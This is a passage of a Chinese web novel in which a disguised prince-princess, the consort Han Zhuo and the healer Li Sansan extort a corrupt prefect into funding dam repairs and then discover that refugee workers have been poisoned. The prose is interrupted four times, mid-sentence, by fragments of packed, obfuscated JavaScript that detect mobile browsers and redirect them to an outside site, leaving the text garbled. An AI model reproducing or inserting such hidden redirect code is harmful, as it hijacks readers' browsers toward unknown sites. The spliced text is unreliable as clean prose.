韩濯似乎觉得十分有趣:“知道?我不知道,臣年少就混迹在武夫之中,愚鲁得很,哪里懂得殿下心里的弯弯绕绕?” “我方才只是觉得......”韩濯道:“若你两个皇兄知道你是男儿,说不准今日我就见不着这么大个殿下站在我面前了......” 宋青瑛一愣,思绪飘回了西京城那一方逼仄的天空。 他幼时便被迫塑造成一个女子,行走坐卧,都被冯四娘等规矩成一个所谓“大家闺秀”的模样,那时他以为天下女子天生如此,恭顺,温和,低声下气,处处忍让,讲话轻声细语,他生来不是女人,自然没这般天赋,便只能先在冯四娘的训导下吃些苦头。 可后来他遇见韩濯,遇见李三三,才知温驯恭顺的性子,本就不是天生地养。 史书虽少记载,可观今日之韩濯,何尝不知时间的洪流里,有多少女儿骨支撑着不堪一击的血和肉,爆烈地燃烧至今,铺成一条并不平坦的无名坎途?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890342|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宋青瑛当然听得懂韩濯是什么意思,可是他看着韩濯的眼睛,话到嘴边便转了个弯:“若我没有瞒住,我这辈子就再没机会和你结亲,没机会再见你一次了。” 倚梅园那日后,多年后即使重见,怕也是故人对面不相逢。 等一下,倚梅园? 宋青瑛神色微微一动。 他藏得真的那么好么? “阿瑛?”韩濯疑惑道:“你在想什么?” 她本来听了宋青瑛一番话,正有些感动,却不妨发现此人说完话便一直在愣神。 “没事。”宋青瑛摇摇头:“你的药该换了,快换完歇息。” 说完顿了顿,续道:“我帮你。” 韩濯头皮一炸:“大可不必,我自己来。” 虽说他宋青瑛也什么都看过了,但韩濯还是不大过得去自己心里一关,宋青瑛比自己小了四五岁,放到现在不过是个初中生的年纪,韩濯即使前世也没想到自己能吃上这么嫩的草,心里总觉得怪怪的。 宋青瑛自顾自把新买的药拿了出来:“听大夫说,这个治箭伤最好。” 韩濯无奈扶额:“我说什么你听见了吗?” 宋青瑛道:“我知道,但是你屡次受伤,我不放心,万一伤口溃烂你又自己忍着不告诉我怎么办?我只换药,没有别的想法。” 韩濯讥笑道:“别的想法?那你方才盯着我时说你想干什么?” 宋青瑛红了脸。 “你这个年纪......也正常,不过你才这么点点大,想想算了。” 什么叫这么点点大? 驸马你说话能不能注意歧义啊? 宋青瑛红着脸叫道:“第一,我已经长高很多了,第二,我刚才也没想做什么,我只是有点想......” 最后几个字说得口齿不清,被他吞了。 “我转过身不看,你先把右肩露出来我帮你换药。” 韩濯逼问道:“想怎样?说出来。” ...... “说出来我就依你。” ...... 宋青瑛声音细若蚊蝇,红着脸道:“我就是想......亲亲你。” ...... 还怪纯爱。 “但你不同意我绝对不这么做!”宋青瑛慌忙补充。 怎么说得好像自己如此扭捏一般......韩濯腹诽,宋青瑛小小年纪,能对自己做什么? “行了。”韩濯无奈道:“上药吧。” 宋青瑛果真不看,眼神有意控制着只盯着伤口那一小块肌肤,换好药后又规规矩矩转身了,将药瓶收入袖中道:“清之早睡,我回房了。” “回来。”韩濯道。 宋青瑛脚步一顿,老老实实低着头走了回来。 突然,他被一股大力拉过了脖子,险些倒在了韩濯身上,脸颊与韩濯的唇贴得极近。 他的呼吸陡然乱了起来。 谁知韩濯维持这个姿势片刻,对宋青瑛脖子上的力道却缓缓松开了,喃喃道:“不行,好像在诱拐儿童,我下不去手。” 放开宋青瑛的下一秒,韩濯的脸颊上被什么东西飞快地啄了一下。 ? 宋青瑛逃也似地跑了,临了还留下一句:“清之你同意了的,不能生气!” 韩濯愣了片刻,反应过来发生什么时气得骂了一句: “真是蹬鼻子上脸。” 话虽这么说,她的嘴角却扬了起来,怎么压都压不下去。 注①:杜甫《自京赴奉先县咏怀五百字》 40. 雁过拔毛 “都过了一日了,怎么王大人还没醒么?” “大人每日为了州内事务殚精竭虑,身子本就不好,现下还下不了床榻,不能见客,失礼了。” 姚申皱了皱眉,道:“蜀州这么多名医,竟然能任由这江湖人的粗陋迷药教大人整整躺上两日?” 他昨日才见了被韩濯下属带回来的钱师兄,人还活着,却好像没什么生气,时而清醒时而糊涂,和姚申讲了两句话就突然浑身发抖,嘴里念叨着什么鬼神之说,据那女医讲,是长期受到极大的刺激才会如此,需要回到熟悉的地方好生将养才行。 姚申自己虽是一届白衣,但和钱钧这个官场老油条大师兄感情却十分要好,见到昔日温厚的师兄如此情状,怎能不急,刚想对着通报的人发作,便听见一个清亮的声音大声道:“大人的病,蜀州的医师治不好,不妨教我西京的医师来瞧上一瞧?” 姚申抬眼,正对上一道姑打扮的医师,浓眉大眼,神采飞扬,正是李三三。 在她身侧,韩濯携一头戴幕篱的女子朝自己走来,韩濯与身旁女子皆是一身的天青色,虽隔着随风微荡的幕篱,看不清那人具体容貌,却能从行止间窥得传说中长宁公主的神仙风姿,而韩濯长身玉立,眉眼风流,口唇含笑,两个人说不出得登对,看得姚申一呆。 “殿下,韩......驸马爷。” “何必客气。”宋青瑛轻声道,随后转身朝李三三轻声道:“劳烦姑娘了。” 李三三欢天喜地应了声好,背着手雀跃着要进房,却被仆役拦住了。 “咦?”李三三挑眉道:“你是不想教你们家大人快些好么,拦我做甚?” “这位姑娘,莫要添乱。” 李三三火了:“你什么意思?” 那仆役从鼻子里哼了一声道:“我可没见过如此年轻的医师,还是个黄毛丫头,我家大人千金贵体,难道能随便让你医治?” “不知你家大人的贵体可贵得过公主殿下?”韩濯轻笑了一声,微微侧身,将宋青瑛让了出来。 “小兄弟不必多虑,”宋青瑛的声音轻飘飘地,像落在地上的雪,柔软却无温度:“李姑娘在我幼时便侍奉身旁,即便是西京城的太医,也未必就能说自己比她高明。三三,去吧。” 韩濯听宋青瑛这番谎扯得脸不红心不跳,莫名戳中了萌点,也不知一个在佛前修禅的公主和道姑是怎么勾搭到一起去的,漏洞百出的措辞全靠他一脸气定神闲的正经填上,拼命绷着嘴唇才没笑出声。 李三三朝那仆役吐了一下舌头,在那人气急败坏的表情下大摇大摆进去了。 “哎呀呀......大人这病真是......” 李三三进了屋内,装模作样地把了片刻脉,接着就开始不住摇头,一脸高深莫测,她说话的声音平白高了好几度,教屋外也听得清清楚楚。 韩濯挑眉,也高声道:“怎么,三三姑娘,是大人的病不好治?” “好治呀!大人这病,自然是好治呀,不过......” “王大人一州命官,无论需要什么天材地宝,照实了开药就是。”宋青瑛道。 “殿下,要治这病,可不需要什么天才地宝。” “哦?” 李三三又提高了嗓门:“大人这病啊,我看是血块淤积于脑,致使不能行动,昏迷不醒......” 李三三的余光瞥见,这王大人的手,似乎微微颤了一下。 她趁热打铁道:“这病要治也不难,只需要用利斧砍开头颅......” 门口仆役的脸骤然变色,开口骂道:“你这庸医......” 话没说完,却被韩濯一下子捞过来卡了脖子,被迫闭了嘴。 姚申在一旁看得目瞪口呆。 “我的力气自然是小了些,驸马爷,你来用刀解决自然是更好。”李三三火上浇油。 韩濯一边制住那仆役,一边高声道:“在下武艺勉勉强强算不上个废物,可却从没为了救死扶伤给人开过刀,三三姑娘,不妨用铁锥开颅,锤头辅助,或能成行。” “说得有理。”李三三叫道:“正巧我带了,不妨现在就动手!” 那仆役挣扎着,从喉咙里挤出了一句:“殿下!会出人命的殿下!” 宋青瑛闻言宽慰道:“不会的,三三医术高明,只是会痛些,王大人要受苦了。” 李三三那边高声道:“既然人已昏迷,那我便不煮麻沸散了,直接动手吧!” 仆役两眼一黑,几欲晕厥,韩濯拼命忍着笑,又补了一刀:“放心,三三姑娘下手有轻重,不会伤人性命,最多也就是致人呆傻......” 只听得“叮叮咣咣”一阵响动,王大人光着脚蓬头垢面飞也似地连滚带爬逃了出来,出门一个踉跄没站稳,“噗通”一声跪在了宋青瑛面前。 宋青瑛佯装惊讶:“大人何故行此大礼?” 韩濯将王大人架了起来,见李三三追出屋内,便不动声色地撒开了手,李三三一边朝王大人走去一边高声道:“大人啊大人,眼下虽然醒了,但血块犹在不能放任不管呐,您一把年纪怎么还如孩童一般躲着医师?不要闹了,我熬一剂麻沸散,尽快开颅吧!” 王大人脸都绿了,拼命躲着李三三,在自家府邸撒丫子狂奔,失声喊道:“殿下啊,韩大人,快教这姑娘收了神通吧,老夫没病,我真的没病......” “真的没病?”韩濯拦下了李三三,对气喘如牛的王大人挑眉问道。 “没病,没病!” “好,”韩濯道:“既然没病,那如今我们能坐下说话了么?” / “早听闻王大人勤政爱民,足智多谋。” 此刻,众人正围坐在厅堂之内,王大人已穿戴整齐,却面如死灰,满头大汗,李三三立在韩濯和宋青瑛身后,她好不容易戏弄了一回当官的,狠狠过了把瘾,愈发显得面色红润,王大人和她对上目光,仍忍不住狠狠哆嗦,这姑娘看着邪气得很,他生怕脑瓜子真被开了瓢。 “今日听闻大人以身入局,断得山匪幽禁命官冒名顶替一案,实是佩服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903961|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正欲上疏向父皇奏表。” 王大人狠狠一激灵,他没想到是这种情况,涌上欣喜之余,亦隐隐觉得哪里不太对。 宋青瑛接着道:“一路来,我见蜀州饥馑,实是心中不忍,朝中虽然已拨出赈灾的大量钱粮,没成想杯水车薪,我在折子里也会向父皇言明......” 王大人被吓出了一身冷汗,皇上若计较起赈灾粮的明细,查到自己头上那还得了? 他慌忙道:“我们这荒僻之地怎敢劳动圣人忧心,我今日便当着公主殿下的面带头捐银五千两......” 闻言韩濯也不由得一震,早就知道贪腐官员富可敌国不是虚话,但也没想到王大人这块肉竟然这么肥,五千两白银说拿就拿,顿时看人的眼神都变了。 王大人哆哆嗦嗦地说完,对上驸马爷一张俊脸,感觉自己成了众匪环伺下的一只肥羊,马上就要被刮去全身的油水。 宋青瑛微微一笑:“如此甚好,不过我一路观蜀地风光,着实是引人入胜,不愧是天下闻名的天府之国,怎能称得上是荒僻之地,驸马连夜挑灯查览蜀州旧志,倒似找到了蜀地今年旱涝频发的根源所在。驸马,这事我不大懂,你说与王大人听听。” 韩濯应了声是,从袖中抽出卷轴展开,其长竟逾一米。 她立在王大人面前,清了清嗓子,摆出长谈的架势来。 王大人顿觉不妙,隐隐感觉自己这一身羊毛将被薅秃。 半个时辰后。 “王大人,此工事若能重启,那是利在当代也在千秋的大好事,百年后,后人也会为您修书立祠......” 韩濯分析了一大长串,在哪开山,在哪分水,在哪挖渠......王大人一边听一边冒汗,韩濯这半个时辰的演讲听到他的耳朵里就只有两个字:“银子”。 “更何况,我观蜀地有不少灾民流离失所,连我们灌州都涌进来了一大批,招募灾民以工代赈,未尝不是应对此次灾荒的良方,殿下觉得呢?” 宋青瑛颔首:“不错,想来王大人亲民爱物,自然乐意。” 二人一唱一和,全然把王大人的银子当成了天上掉下来的,弄得他心中暗暗叫苦不迭,可若不应,这两个煞星真能教他保不住乌纱帽,甚至保不住项上人头,只能全数答应。 谢天谢地,这二人拒绝了留下用饭的客套话,在黄昏之时离开了刺史府,临走之际,王大人似乎突然想起来什么,不经意问道:“殿下,驸马爷,那钱......那贼人如何处置?” 韩濯勾起了唇角,似笑非笑地道:“大人不必忧心,那夜醉春楼,贼人已被他江湖上的仇家手刃于刀下,我们赶过去的时候,他已尸首分家,那颗头颅就躺在您脚边。” 王大人狠狠一哆嗦。 待几人已走,四下无人之际,王大人回过神来,才觉得双脚虚软,仿佛被人抽干了力气,踉跄了几步跌坐在地。 他后知后觉地反应过来,若他不这么痛快地给钱,即便皇上不追究,说不准哪一日他就也成了断头鬼下去和钱兄作伴。 41. 往事如烟 蜀州的小酒馆风格十分粗犷,木桌木凳大海碗,黑腻腻的桌面上黏糊糊似乎能刮下半寸厚的陈年老油来,菜码也大,脸盆大的盘子里半盘是辣子,空气里弥漫着炸过的各种辣椒的干香。 若不是李三三坚持,韩濯是决计不会同意带宋青瑛来这种地方,苍蝇馆子的味道自不必说,可这玩意吃坏了殿下金贵的肠胃怎么办? 不过宋青瑛倒是十分适应,三人暂别着急回去照料师兄的姚申,将死鬼托付给小二,便到了店内坐定,此时店内客人并不多,看样子满面风霜,皆是过路行客。 “没想到,这么多年了,这家店还在。”李三三感叹道。 “怎么?”韩宋二人皆有些惊讶:“你之前来过?” 李三三一边分筷子一边道:“不能说来过,我是在蜀州长大的,直到我师傅没了,我才去西京讨生活,当然,那时候我也不算大,应该和你差不多,唔,比你小一些。” 李三三说着,拿筷子点了点宋青瑛。 “你自己一个人?”韩濯问道。 这么大点一个小姑娘,孤身前往西京,怕是苦头没少吃。 “是啊。”李三三道:“没办法嘛,蜀州混不下去了,我师父医术高明,他死了之后病人不一定高兴,可各种堂各种馆的大夫可高兴极了,就剩我一个毛没长齐的小丫头,再也没人和他们抢生意了。” 就在这时,小二端了几个脑袋大的盘子上来,热油激出了小葱和农家腊肉的香气,分外诱人,李三三夹了一筷子油津津热腾腾的烟笋,大嚼起来。 “为什么去西京?”宋青瑛抿了一口茶,问道。 李三三一边嚼一边道:“毕竟是繁华地,想着能活下来。” “我师父没有儿女,把我当亲闺女养,我那时候性子顽劣,没少给他惹麻烦,他却从没训斥过我,把我惯得无法无天,他走之前,我还不知道这世道女子行医不是一件易事,直到后来那些废物大夫找上门来要买下我师父打下来的招牌,我才明白,他老人家给我编织了一场怎样的镜花水月。” “你没有卖?”韩濯追问道。 李三三看了一眼韩濯:“当然没有。” “我当着蜀州乡亲父老的面,亲自把安和堂的招牌摘下来烧了。” “烧了?” “烧了。” “我个子小,功夫又不到家,摘下来的时候摔得很惨,脚踝扭脱了,但当时也不知道怎么回事,可能是气得发懵,我一点感觉也没有,看着他们大声喊叫,还不得不在人前装出一份假仁假义的可惜模样,我觉得痛快,又没那么痛快。” “然后呢?” 李三三嘿嘿一笑。 “我那天晚上,趁着夜黑风高,有一个算一个,把来挑事的医馆的招牌,全都摘了。” “它们堆在一起,让一把火烧得旺极了,我就蹲在火堆旁,等着他们醒了来找我算账,那堆火烧得好亮好亮,像虚假的白天似的。” “等真的到了白天,他们如我所料地跑过来,吵着要把我绑了去见官,那伪善的嘴脸都忘记戴,骂得很难听,我之前从没听过这样的话,也不明白什么意思,当然现在我明白了,也早就习惯了。有几个还上来抓我,说着要替我师父教训教训我。” 李三三笑了:“真是奇怪,他们算什么,没生我也没养我,偏偏能越俎代庖教训人。” “那你怎么跑的?” “用牙咬,用脚踢,拿斧子砍.....我不怕死,也不怕砍死旁人,但他们怕,最后有两个当初受过我师父恩惠的大爷大娘帮我拦住了他们,我就跑,一路向西北。” “其实一开始我不怕去见官,我觉得自己没错,但大娘劝我快跑,我不懂事,冲她吼,问凭什么,她说凭我没钱。” 韩濯和宋青瑛都停了筷子。 “所以我就成了西京人人口中卖药的江湖骗子。” “我的药是真的,挣来的钱也是真的,可是我发现还是没用,没人承认我的师承,我进不了任何一个医馆,自己也开不起,晚上睡觉的时候我就常常想,师父他老人家若是看到我做的这些荒唐事,知道我成了一个江湖骗子,指不定怎么骂我。” “不会。”宋青瑛轻轻道。 “什么?”李三三疑惑道。 “他老人家不会骂你的。”宋青瑛道:“他只会怕你吃太多苦。” 韩濯也笑了笑,冲李三三点点头:“现在就更不怕了,你可是公主殿下正经的随行医师。” 正经编制呢。韩濯暗暗想。 “还是你们会说话。”李三三笑着,眼圈却微微红了。 “我师父把我当个花儿养,对我说什么我是他从观里求来的闺女,是祖师爷爷赐下来的,但他不知道,我早就知道他在骗我。” “那天他就在这家小酒馆喝醉了酒,半夜说胡话,我才晓得自己怎么来的。那年闹饥荒,他从一个刚生育的妇人手里买下了我,我一口亲娘的奶也没喝上就被卖掉了,我也没什么不平的,因为她要活下来。” “所以今日,你执意要带我们来这家店?”韩濯问道。 “是啊,”李三三给宋青瑛和自己斟了一杯酒,韩濯也想伸手拿壶,被宋青瑛一筷子把手打回去了,引得李三三一阵嬉笑。 “这是他老人家最爱去的酒馆,我看店家似乎也换人了,应该是那老头的儿子,不过味道还是一样......驸马爷,你消停一下吧,别盯着酒了,内伤没好就被人砍一刀,刀伤没好肩上又挂了彩,不知道的还以为你是去打仗了......” 韩濯不是贪杯的人,但这家店的酒香实在醇厚,被宋青瑛和李三三制止多少有些失落,只好闷闷地给宋青瑛夹了一筷子腊肉片。 宋青瑛似乎有点惊喜,把那一筷子肉往米饭深处埋了埋,看得韩濯心里发酸,只好又给他添了几筷子。 李三三觉着惊奇:“怎么?你们俩什么时候又好了?” 韩濯和宋青瑛异口同声:“我们什么时候坏过?” 面对着李三三的咬牙切齿,韩濯和宋青瑛对视一眼,笑出了声。 / 有了蜀州刺史王大人的钱和人,韩濯主持重修岷江堰这事就有了眉目了,一时间,灌州蜀州两地的流民都被召集了起来,宋青瑛将他们编队分工,没几日便在玉垒山下支起了大大小小的帐篷。 但是眼看着中秋已过,马上就要入冬了,要想今尽早重启岷江堰,过年前至少要把瓶口通了才成,留给他们的时间实在不多。 韩濯查了许多书籍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909181|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽空又将墨娘子的手稿详细注解了一半亲自送过去,还带了几本自己挑的书回来,最终决定还是依着老方法:先烧热山石再泼冷水,热胀冷缩反复循环,致使山体寸寸开裂以便挖掘。 照着这方法一连干了两日,也算是颇有成效,韩濯心里的一根弦略松了松,这夜回房,本来想继续查查资料完善一下施工计划,可临了却犯了懒,只想瘫在床上一动也不动,她四仰八叉躺在床上,连宋青瑛进了屋都没听见。 “咳咳。” 韩濯掀起眼皮,见是宋青瑛,忙一下子坐了起来:“怎么还不去休息?明日还要去玉垒山,差不多还要再烧两日才能开挖呢,你又每天忙前忙后给工人解决伙食问题,不多休息吃不消。” 宋青瑛一笑:“哪里像你说得那么夸张,有不少姑娘和大娘帮忙呢,我看你这两天辛苦,炖了梨子来教你尝尝。” 他在灯下这一笑,真是满堂生春,韩濯呆了一瞬,心里暗道:“可算是明白为什么男人都想要个贤惠的天仙老婆,没遇见宋青瑛之前,我哪里想过世间还有这种好颜色?” 但天仙就是天仙,这么每天伺候人像什么话? 韩濯接了那小一盅炖梨道:“多谢,但阿瑛......” “嗯?” “你还是不要这么事无巨细照顾我了,臣实在受之有愧。” 宋青瑛抬眼:“你不喜欢?” 要命。 似乎这些日子,宋青瑛已经完全拿捏住了韩濯的喜好,他敏锐地察觉到,自己抬眼看她,或者微垂眼帘用侧脸对着她时,韩濯对他说话的语气都会格外温柔些。 “呃......也不是,只是你跟着我吃的苦已经够多了,难不成还要再添一些?况且殿下若总是这么待我,经年累月把我养娇了可怎么办?” 宋青瑛轻轻笑道:“我不觉得苦,我也愿意。” “养娇了也不怕,没什么不好。” 一句话,说得韩濯满脸通红。 沉默片刻,她突然拉起被子,把自己和宋青瑛裹在了一起。 黑暗里看不见对方的脸,但呼吸和心跳却很清晰。 宋青瑛哑声道:“你......突然这样做什么?” 韩濯声音闷闷的:“殿下啊......” “嗯?” “没什么。” 韩濯把被子掀开,他二人就这样并肩躺在床上,宋青瑛试探着碰了碰韩濯的右手。 没躲。 于是他紧紧扣住。 “我总觉得,王大人这钱给得太顺利。”韩濯缓缓道。 “嗯?” “这次我们靠他解决问题,下次呢?他有胆子贪污这么多的钱款,绝非善类。” 宋青瑛把旖旎的心思收了收,道:“的确,他派来的那几个我都教咱们的人盯着了,况且折子还没递上去多久,他短时间内应该不会......” 谁知这时,房外有人“咚咚”地敲门,听声音似是十分急切,韩濯和宋青瑛四目相对,忙起身去查看。 那敲门的人跟着仆役进了客堂,韩濯见是他,不由一愣:“吴钩兄弟?今晚你不是在玉垒山......” “二公子,殿下,”吴钩急切说道:“出事了!” 42. 猫鼠游戏 韩濯和宋青瑛赶到玉垒山下时,李三三正指挥着几个年轻人将五六个流民抬出帐外,见了他们只是微微点了点头,少见的严肃。 “三三,”韩濯带着宋青瑛一路骑马疾奔,在微冷的天里额头出了一层细汗:“情况如何?” 李三三看向被抬着的一个流民,他年纪不算小,但笑起来却露出一颗小虎牙,一派孩子气,今天白日里还对她说自己有了事情做,吃饭才安心,干活的时候数他最卖力,此刻却面色青白地躺在担架上,呼吸粗重,喘得像破风箱,突然仿佛被卡了脖子一般喉咙向上挺动几下,没及时翻过身,被自己的呕吐物呛住了气管,咳了个惊天动地。 李三三忙命人将他放下,帮他处理好口鼻中的秽物。 四周此起彼伏传来咳嗽和呕吐的声音,韩濯皱紧眉头,问道:“出了这样情况的有多少人?” “十余个。”吴钩回答道:“症状或轻或重。” 韩濯心里隐隐不安,问道:“这病来得凶急,三三姑娘怎么说?” 吴钩摇了摇头:“她还没说什么,只教人先将病人移到一块儿去。二公子,我们人手不够。” 宋青瑛道:“我们方才已经和朗参军说明了情况,请他帮忙多派些大夫来,人应该在路上了。” 韩濯方才听李三三教人将病人移到一块儿,眉毛忍不住一跳,将宋青瑛远离人群扯了扯道:“小心是时疫,殿下,你不如先回......” 宋青瑛直接打断道:“你在哪,我就在哪。” 韩濯刚想再劝,转头对上宋青瑛的眼神,到了嘴边的话硬生生咽了下去,卡了片刻才道:“那你小心些。” 时疫? 宋青瑛觉得哪里不太对,但一时也没反应过来哪里出了问题。 “这个时节冷热反复无常,说是时疫,也不无可能,只是......” 韩濯停住了脚步:“阿瑛?” 宋青瑛突然抬起了头,道:“灌州城内,我记得没有几个同样患这种病的百姓。” 韩濯突然明白了自己的不安来自于何处。 这场意外来得实在突然,若是普通疫病,为何又只在这些流民中蔓延? “你们来了。” 韩濯和宋青瑛回头,见正是刚处理好一个病人的李三三,她发髻都乱了些,看来确实忙得焦头烂额。 “你也小心些,不要自己也......” 韩濯话音未落,便被李三三打断了:“放心,不会传染。” 韩濯一颗心放了下来,却很快又悬得更高,她压低了声音:“到底怎么回事?” 李三三不动声色看了看四周,将二人带到了僻静之处,确认四下无人后开口言简意赅道:“是毒。” 韩濯心里一惊,好歹没叫出声来,宋青瑛却只是微皱眉头,仿佛并未出乎他的意料。 李三三道:“这毒不常见,寻常医师也未必诊得出来,中毒者的脉象和症状与患了疫病十分相似,我若不是在江湖上走动多年,也未必认得出。” 韩濯急忙问道:“中了毒要不要紧,能治好么?” 李三三一锤定音:“能。” “我已开好了药,叫人去熬煮了,但仍然需要好生将养,若是中毒过深,没有三个月的调理是不成的。” 韩濯道:“用药不必俭省,三三姑娘的医术我信得过,你只需忙好你分内事,不必顾虑,一切有我。” 李三三会意,道:“那我先回去了,病人若问我,我便如实......” 宋青瑛突然开口:“先不要。” 韩濯和李三三全部看向了他。 宋青瑛道:“便只说,是蜀州那边给了陈年旧米,发霉吃坏肚子。” 韩濯似乎有些明白他想做什么,见李三三疑惑不解地看向自己,便道:“便依殿下之言,三三姑娘,还要劳烦你辛苦些。” 李三三嘀咕了一句,不耐烦地摆了摆手,韩濯承诺道:“等这阵子过去,请你喝好酒。” 待李三三走远,韩濯看向宋青瑛道:“阿瑛是心里有了成算?” 宋青瑛点了点头:“若是过早叫那人知道我们看穿了这投毒把戏,未免会打草惊蛇。那人隐匿在我们之中,终究是附骨之疽,此次不成,还会有下次,我们难不成还要和他们玩什么猫捉老鼠的游戏?” 韩濯心下了然。 无论是将投毒之事公之于众,还是让人误以为是时疫,都难免会造成人心浮动。而宋青瑛把这口黑锅架在了蜀州那边,投毒者达不成目的,自然还会二次下手。 “可我还是觉得奇怪,”韩濯道:“那位王大人教人下毒,是因为给了钱心里不痛快,所以来故意恶心人?但他钱给都给了,不可能再收回去,他来这么一出,仅仅是为了泄愤?” 宋青瑛摇了摇头,心里也在隐隐担忧。 可到了第二日,二人才明白王大人的真实目的。 烈日当头,韩濯才从刺史府里出来,她刚刚接下一封来自西京的敕令,轻薄的一份敕牒拿在手上,却重似千钧。 秋老虎仍然暴烈,她却遍体生寒,抬头看了看高悬于顶的日头,韩濯晃了晃眼睛,心里却空茫了一片。 若是昨日之前她接到这份敕牒,最多也就是有些压力,主持修建岷江堰之时也会更加勤勉些,可如今...... 韩濯不知自己是怎么到了玉垒山下的,病患增多了几个,但还在控制范围之内。这些都是无家可归的穷困人,看着昨日还活蹦乱跳的同伴一个一个倒下,谁还有心思全心全意地投入到工事之中,有几个瞥见了韩濯,忙装作一副勤奋的模样来,铲子舞得飞快,可更多的人连装都懒得装,一脸忧心忡忡,心不在焉地随便应付。 韩濯回过神来,才发现宋青瑛早就跑到了她身边,叫了她好几声,她甩了甩头,勉强扯出一个笑来:“阿瑛。” 宋青瑛刚刚忙活着煮饭,额间系着普通的布巾,看了韩濯的模样,宋青瑛皱了皱眉。 “我这回和吴钩全程盯着,应当不会有人在过程中做什么手脚。”宋青瑛道:“清之,你不大对劲,怎么回事?” 韩濯张了张嘴,却没说出口,最后沉默着从怀中把敕牒掏出递给了宋青瑛。 宋青瑛有些惊讶,但待他一目十行地读完,不由得捏紧了拳头。 “这个......混蛋!”宋青瑛不会骂人,最多也就是骂一句混蛋,韩濯在这种紧迫的情况下,也不由得被他引得勾了一下嘴唇。 “那王刺史定是在递给圣上的折子里添油加醋,对你主张重修岷江堰一事大肆渲染,说不准还把你说成了一个狂妄自大之辈,圣上才会将重修岷江堰之事全权交予你打理。另外还限制半年之期,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922226|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求明年开春必须落成......” 明年开春落成,不是不可能,但终究有风险,必要争分夺秒,不可出任何岔子,而两州刺史允准和圣上亲自发敕令任命,是两个完全不同的概念。 若在之前,即便中间出了什么纰漏未能及时修缮好,也不过是多费些功夫,再花些王刺史的钱财和人力,再有不济,灌州也能帮着补贴一些。可圣上的敕令,则砍断了韩濯全部的退路,秋末开工,明春落成,这其中大大小小的事务责任,全落在了韩濯一人头上,若中间出了什么事情,或是这事做不成,丢官罢爵都是轻的,而王大人,自然能独善其身。 最重要的是,王大人在这期间,随时可能给韩濯使绊子,这次是下毒,便已经教工期大大延后,那下一回呢?更何况...... 韩濯看向溪水边的帐篷,时不时有病人痛苦的呻吟传出来。 几个干着活的流民停下了锄头,抬头看了看高照的日头。 他们中的好多人被招募过来时衣不蔽体,面黄肌瘦,每日里流落街头,靠着施粥和乞讨过活,身上穿的粗布衣裳,还是招工后发下来的,韩濯还记得,他们拿到手时恍若捧着稀世奇珍一般小心翼翼。 那王刺史给韩濯使绊子,用这些人的性命做筹码,可曾有过一丝一毫的羞惭? 应当是不会的。 人命自古以来,就分贵贱。 韩濯突然有那么一瞬间的冲动,她想现在直接快马冲进蜀州,把那个每日里过着声色犬马生活的狗屁王大人痛打一顿,甚至一刀砍了他,犯了大罪?那有什么可怕?砍了王大人,再去西京砍了永王,再砍永王那尊贵的爹......这大齐来都来了,为何不痛痛快快地惊天动地被通缉一回? 但当然,只是想想,任她韩濯三头六臂,也没那荆轲的能耐。 不过...... 韩濯拳头紧了又紧,她觉得自己如果这么憋屈下来,一定会疯掉,于是招呼也不打,翻身上马,在宋青瑛的呼唤下直奔蜀州城门而去。 “她干吗去了?”李三三走过来问道。 宋青瑛回过神来,仍看着韩濯离去的背影,喃喃道:“应是找人算账去了。” 李三三挑眉:“你不拦着?不像你。” 宋青瑛摇摇头:“她做事向来有轻重,也只是泄泄愤罢了,我能做的,只有......” 李三三看着宋青瑛向帐内走去,忙跟上问道:“你要干什么?” 宋青瑛道:“今日煮的两餐,我已经借口将王大人派来的监管人员支出去了,全程都是我们的人盯着,不可能出任何纰漏,可仍然有三人中毒。” “所以呢?” “三三,请你帮忙将那几个中毒的人的粥碗拿过来验一验,别让人发觉,我们仍坚称是那个狗官给了霉米。” 李三三了然:“明白了。” “吴钩兄弟!” 在溪边打水的吴钩应声过来,恭敬道:“殿下。” 